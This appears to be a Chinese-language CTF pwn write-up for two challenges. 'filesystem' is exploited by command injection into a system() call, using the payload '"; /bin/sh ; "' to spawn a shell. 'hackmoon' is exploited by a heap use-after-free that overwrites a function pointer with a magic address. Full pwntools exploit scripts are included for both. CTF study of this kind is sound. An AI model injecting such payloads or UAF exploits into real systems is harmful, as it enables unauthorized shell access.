filesystem

题目

重点函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall checksec(__int64 a1, __int64 a2)
{
unsigned __int64 v3; // [rsp+8h] [rbp-98h]
char s; // [rsp+10h] [rbp-90h]
unsigned __int64 v5; // [rsp+98h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(&s, 0, 0x80uLL);
printf("Input the Index:", a2, &s);
v3 = get_num();
if ( cnt > v3 )
{
snprintf(&s, 0x80uLL, "echo \"%s\"| md5sum", (char *)&ptr + 0x90 * v3 + 0x30);
system(&s);
}
else
{
puts("No Such Index");
}
return __readfsqword(0x28u) ^ v5;
}

分析

给了几个函数,看了下没什么用,其中包括一个后门函数,但是限制两个字节且不能是sh,尝试vi提示没有安装,没有办法
checksec这边会执行几个指令,想办法绕过就好了,像web题一样

echo “” ; /bin/sh ; “”| md5sum

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

sh = process('./filesystem')
#sh = remote('101.71.29.5', 10017)
print sh.recvuntil('> ')
sh.sendline('Create')
print sh.recvuntil('Input Filename: ')
sh.sendline('aaaaa')

print sh.recvuntil('> ')
sh.sendline('Edit')
print sh.recvuntil('Input the Index:')
sh.sendline('0')
print sh.recvuntil('Input File Content: ')
sh.sendline('"; /bin/sh ; "')

print sh.recvuntil('> ')
sh.sendline('Checksec')
print sh.recvuntil('Input the Index:')
sh.sendline('0')
sh.interactive()

hackmoon

题目

标准的选项题,有add print delete 功能

add 限制五次分配chunk,会先分配八个字节,分配用来存放一个print_moon_content函数指针及之后为用户分配的chunk指针,同时会在bss段存放为用户分配的chunk指针。
print 会检查输入的idx及bss段的指针,在指针存在的情况下,调用该指针处的函数,也就是之前存放的print_moon_content函数指针

1
2
3
4
int __cdecl print_moon_content(int a1)
{
return puts(*(const char **)(a1 + 4));
}

delete 会将之前的两个指针依次free,但是其他的什么也没动,存在UAF问题

分析

UAF漏洞很明显,同时指针被放到了堆中,很容易想到利用UAF控制指针即可,又同时,题中给了magic函数,所以想办法让magic函数指针覆盖某个chunk的指针就可以了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.log_level = 'debug'
sh = process('./hackmoon')
elf = ELF('./hackmoon')

def add(size, content):
sh.recvuntil('Your choice :')
sh.sendline('1')
sh.recvuntil('moon size :')
sh.sendline(str(size))
sh.recvuntil('Content :')
sh.send(content)


def delete(index, ):
sh.recvuntil('Your choice :')
sh.sendline('2')
sh.recvuntil('Index :')
sh.sendline(str(index))
sh.recvuntil('Success\n')
return


def show(index):
sh.recvuntil('Your choice :')
sh.sendline('3')
sh.recvuntil('Index :')
sh.sendline(str(index))

magic= 0x8048986
add(0x8,'aaaaaaa')
add(0x8,'bbbbbbb')
delete(1)
delete(0)
add(0x20,'ccccccccc')
add(0x8,'deadbeef')
delete(3)
delete(2)
add(0x8,p32(magic)*2)
show(3)
#gdb.attach(sh)
sh.interactive()